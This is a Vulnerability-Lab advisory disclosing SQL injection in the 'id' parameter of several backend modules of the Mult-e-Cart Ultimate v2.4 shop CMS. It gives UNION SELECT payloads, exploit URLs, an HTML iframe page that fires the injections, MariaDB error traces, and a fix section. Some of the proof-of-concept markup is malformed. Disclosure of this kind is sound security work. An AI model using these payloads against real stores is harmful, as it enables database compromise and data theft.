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## https://sploitus.com/exploit?id=PACKETSTORM:164648
Document Title:  
===============  
Mult-e-Cart Ultimate v2.4 - SQL Injection Vulnerability  
  
  
References (Source):  
====================  
https://www.vulnerability-lab.com/get_content.php?id=2306  
  
  
Release Date:  
=============  
2021-10-22  
  
  
Vulnerability Laboratory ID (VL-ID):  
====================================  
2306  
  
  
Common Vulnerability Scoring System:  
====================================  
7  
  
  
Vulnerability Class:  
====================  
SQL Injection  
  
  
Current Estimated Price:  
========================  
1.000€ - 2.000€  
  
  
Product & Service Introduction:  
===============================  
Digital Multivendor Marketplace Online Store - eShop CMS  
  
(Source: https://ultimate.multecart.com/ & https://www.techraft.in/ )  
  
  
Abstract Advisory Information:  
==============================  
The vulnerability laboratory core research team discovered multiple sql-injection web vulnerabilities in the Mult-e-Cart Ultimate v2.4 (v2021) web-application.  
  
  
Affected Product(s):  
====================  
Techraft  
Product: Digital Multivendor Marketplace Online Store v2.4 - eShop CMS (Web-Application)  
  
  
Vulnerability Disclosure Timeline:  
==================================  
2021-10-22: Public Disclosure (Vulnerability Laboratory)  
  
  
Discovery Status:  
=================  
Published  
  
  
Exploitation Technique:  
=======================  
Remote  
  
  
Severity Level:  
===============  
High  
  
  
Authentication Type:  
====================  
Restricted Authentication (Moderator Privileges)  
  
  
User Interaction:  
=================  
No User Interaction  
  
  
Disclosure Type:  
================  
Independent Security Research  
  
  
Technical Details & Description:  
================================  
Multiple classic sql-injection web vulnerabilities has been discovered in the Mult-e-Cart Ultimate v2.4 (v2021) web-application.  
The web vulnerability allows remote attackers to inject or execute own sql commands to compromise the database management system.  
  
The vulnerabilities are located in the `id` parameter of the `view` and `update` function. The vulnerable modules are `inventory`,  
`customer`, `vendor` and `order`. Remote attackers with a vendor shop account are able to exploit the vulnerable id parameter to  
execute malicious sql commands. The request method to inject is get and the attack vector is located on the client-side. The remote  
vulnerability is a classic order by sql-injection. The issue is exploitable with one of the two vendor roles or higher privileged  
roles like admin.  
  
Exploitation of the remote sql injection vulnerabilities requires no user interaction and a privileged vendor- or admin role user account.  
Successful exploitation of the remote sql injection results in database management system, web-server and web-application compromise.  
  
Request Method(s):  
[+] GET  
  
Vulnerable Module(s):  
[+] inventory/inventory/update  
[+] /customer/customer/view  
[+] /vendor/vendor/view  
[+] /order/sub-order/view-order  
  
Vulnerable Parameter(s):  
[+] id  
  
  
Proof of Concept (PoC):  
=======================  
The remote sql injection web vulnerabilities can be exploited by remote attackers with privileged backend panel access without user interaction.  
For security demonstration or to reproduce the remote sql-injection web vulnerability follow the provided information and steps below to continue.  
  
  
PoC: Payloads  
1' union select 1,2,3,4,@@version--&edit=t  
1' union select 1,2,3,4,@@database--&edit=t  
  
  
PoC: Exploitation  
https://multecartultimate.localhost:8080/inventory/inventory/update?id=1' union select 1,2,3,4,5--&edit=t  
https://multecartultimate.localhost:8080/customer/customer/view?id=1' union select 1,2,3,4,5--&edit=t  
https://multecartultimate.localhost:8080/vendor/vendor/view?id=1' union select 1,2,3,4,5--&edit=t  
https://multecartultimate.localhost:8080/order/sub-order/view-order?id=' union select 1,2,3,4,5  
-  
https://multecartultimate.localhost:8080/inventory/inventory/update?id=1' union select 1,2,3,4,5&edit=t  
https://multecartultimate.localhost:8080/customer/customer/view?id=1' union select 1,2,3,4,5&edit=t  
https://multecartultimate.localhost:8080/vendor/vendor/view?id=1' union select 1,2,3,4,5&edit=t  
https://multecartultimate.localhost:8080/order/sub-order/view-order?id=' union select 1,2,3,4,5  
  
  
PoC: Exploit  
<html>  
<head><body>  
<title>Mult-E-Cart Ultimate - SQL Injection PoC</title>  
<iframe="https://multecartultimate.localhost:8080/inventory/inventory/update?id=1' union select 1,2,3,4,@@database--&edit=t" width="400" height="400"><br>  
<iframe="https://multecartultimate.localhost:8080/customer/customer/view?id=1' union select 1,2,3,4,@@database--&edit=t" width="400" height="400"><br>  
<iframe="https://multecartultimate.localhost:8080/vendor/vendor/view?id=1' union select 1,2,3,4,@@database--&edit=t" width="400" height="400"><br>  
<iframe="https://multecartultimate.localhost:8080/order/sub-order/view-order?id=' union select 1,2,3,4,@@database--" width="400" height="400"><br>  
<br>  
<iframe="https://multecartultimate.localhost:8080/inventory/inventory/update?id=1' union select 1,2,3,4,@@version--&edit=t" width="400" height="400"><br>  
<iframe="https://multecartultimate.localhost:8080/customer/customer/view?id=1' union select 1,2,3,4,@@version--&edit=t" width="400" height="400"><br>  
<iframe="https://multecartultimate.localhost:8080/vendor/vendor/view?id=1' union select 1,2,3,4,@@version--&edit=t" width="400" height="400"><br>  
<iframe="https://multecartultimate.localhost:8080/order/sub-order/view-order?id=' union select 1,2,3,4,@@version--" width="400" height="400">  
</body></head>  
</html>  
  
  
--- SQL Error Exception Handling Logs ---  
SQLSTATE[42S22]: Column not found: 1054 Unknown column '100' in 'order clause'  
The SQL being executed was: SELECT * FROM `tbl_inventory` WHERE id=1 order by 100--  
-  
PDOException: SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax;  
check the manual that corresponds to your MariaDB server version for the right syntax to use near ''' at line 1 in /home/test/MulteCart/vendor/yiisoft/yii2/db/Command.php:1299  
-  
Stack trace:  
#0 /home/test/MulteCart/vendor/yiisoft/yii2/db/Command.php(1299): PDOStatement->execute()  
#1 /home/test/MulteCart/vendor/yiisoft/yii2/db/Command.php(1165): yiidbCommand->internalExecute('SELECT * FROM `...')  
#2 /home/test/MulteCart/vendor/yiisoft/yii2/db/Command.php(421): yiidbCommand->queryInternal('fetch', NULL)  
#3 /home/test/MulteCart/vendor/yiisoft/yii2/db/Query.php(287): yiidbCommand->queryOne()  
#4 /home/test/MulteCart/vendor/yiisoft/yii2/db/ActiveQuery.php(304): yiidbQuery->one(NULL)  
#5 /home/test/MulteCartUltimate/multeback/modules/inventory/controllers/InventoryController.php(536): yiidbActiveQuery->one()  
#6 /home/test/MulteCartUltimate/multeback/modules/inventory/controllers/InventoryController.php(300): multebackmodulesinventorycontrollersInventoryController->findModel('-1'')  
#7 [internal function]: multebackmodulesinventorycontrollersInventoryController->actionUpdate('-1'')  
#8 /home/test/MulteCart/vendor/yiisoft/yii2/base/InlineAction.php(57): call_user_func_array(Array, Array)  
#9 /home/test/MulteCart/vendor/yiisoft/yii2/base/Controller.php(181): yiibaseInlineAction->runWithParams(Array)  
#10 /home/test/MulteCart/vendor/yiisoft/yii2/base/Module.php(534): yiibaseController->runAction('update', Array)  
#11 /home/test/MulteCart/vendor/yiisoft/yii2/web/Application.php(104): yiibaseModule->runAction('inventory/inven...', Array)  
#12 /home/test/MulteCart/vendor/yiisoft/yii2/base/Application.php(392): yiiwebApplication->handleRequest(Object(yiiwebRequest))  
#13 /home/test/MulteCartUltimate/multeback/web/index.php(153): yiibaseApplication->run()  
#14 {main}  
-  
Next yiidbException: SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax;  
check the manual that corresponds to your MariaDB server version for the right syntax to use near ''' at line 1  
The SQL being executed was: SELECT * FROM `tbl_inventory` WHERE id=-1' in /home/test/MulteCart/vendor/yiisoft/yii2/db/Schema.php:678  
-  
Stack trace:  
#0 /home/test/MulteCart/vendor/yiisoft/yii2/db/Command.php(1304): yiidbSchema->convertException(Object(PDOException), 'SELECT * FROM `...')  
#1 /home/test/MulteCart/vendor/yiisoft/yii2/db/Command.php(1165): yiidbCommand->internalExecute('SELECT * FROM `...')  
#2 /home/test/MulteCart/vendor/yiisoft/yii2/db/Command.php(421): yiidbCommand->queryInternal('fetch', NULL)  
#3 /home/test/MulteCart/vendor/yiisoft/yii2/db/Query.php(287): yiidbCommand->queryOne()  
#4 /home/test/MulteCart/vendor/yiisoft/yii2/db/ActiveQuery.php(304): yiidbQuery->one(NULL)  
#5 /home/test/MulteCartUltimate/multeback/modules/inventory/controllers/InventoryController.php(536): yiidbActiveQuery->one()  
#6 /home/test/MulteCartUltimate/multeback/modules/inventory/controllers/InventoryController.php(300): multebackmodulesinventorycontrollersInventoryController->findModel('-1'')  
#7 [internal function]: multebackmodulesinventorycontrollersInventoryController->actionUpdate('-1'')  
#8 /home/test/MulteCart/vendor/yiisoft/yii2/base/InlineAction.php(57): call_user_func_array(Array, Array)  
#9 /home/test/MulteCart/vendor/yiisoft/yii2/base/Controller.php(181): yiibaseInlineAction->runWithParams(Array)  
#10 /home/test/MulteCart/vendor/yiisoft/yii2/base/Module.php(534): yiibaseController->runAction('update', Array)  
#11 /home/test/MulteCart/vendor/yiisoft/yii2/web/Application.php(104): yiibaseModule->runAction('inventory/inven...', Array)  
#12 /home/test/MulteCart/vendor/yiisoft/yii2/base/Application.php(392): yiiwebApplication->handleRequest(Object(yiiwebRequest))  
#13 /home/test/MulteCartUltimate/multeback/web/index.php(153): yiibaseApplication->run()  
#14 {main}  
Debug Array:  
[0] => 42000  
[1] => 1064  
[2] => You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''' at line 1  
-  
  
  
Reference(s):  
https://multecartultimate.localhost:8080/vendor/vendor/view  
https://multecartultimate.localhost:8080/customer/customer/view  
https://multecartultimate.localhost:8080/inventory/inventory/update  
https://multecartultimate.localhost:8080/order/sub-order/view-order  
  
  
Solution - Fix & Patch:  
=======================  
The vulnerability can be resolved by the following description ...  
1. Disable to display the sql errors for other users then the admin or pipe it into a local log file outside the panel ui  
2. Use a prepared statement to protect the query against further injection attacks  
3. Restrict the vulnerable id parameter to disallow usage of special chars of post and get method requests  
4. Encode and escape the id content on get method request with the id parameter  
  
  
Credits & Authors:  
==================  
Vulnerability-Lab [Research Team] - https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab  
  
  
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=========================  
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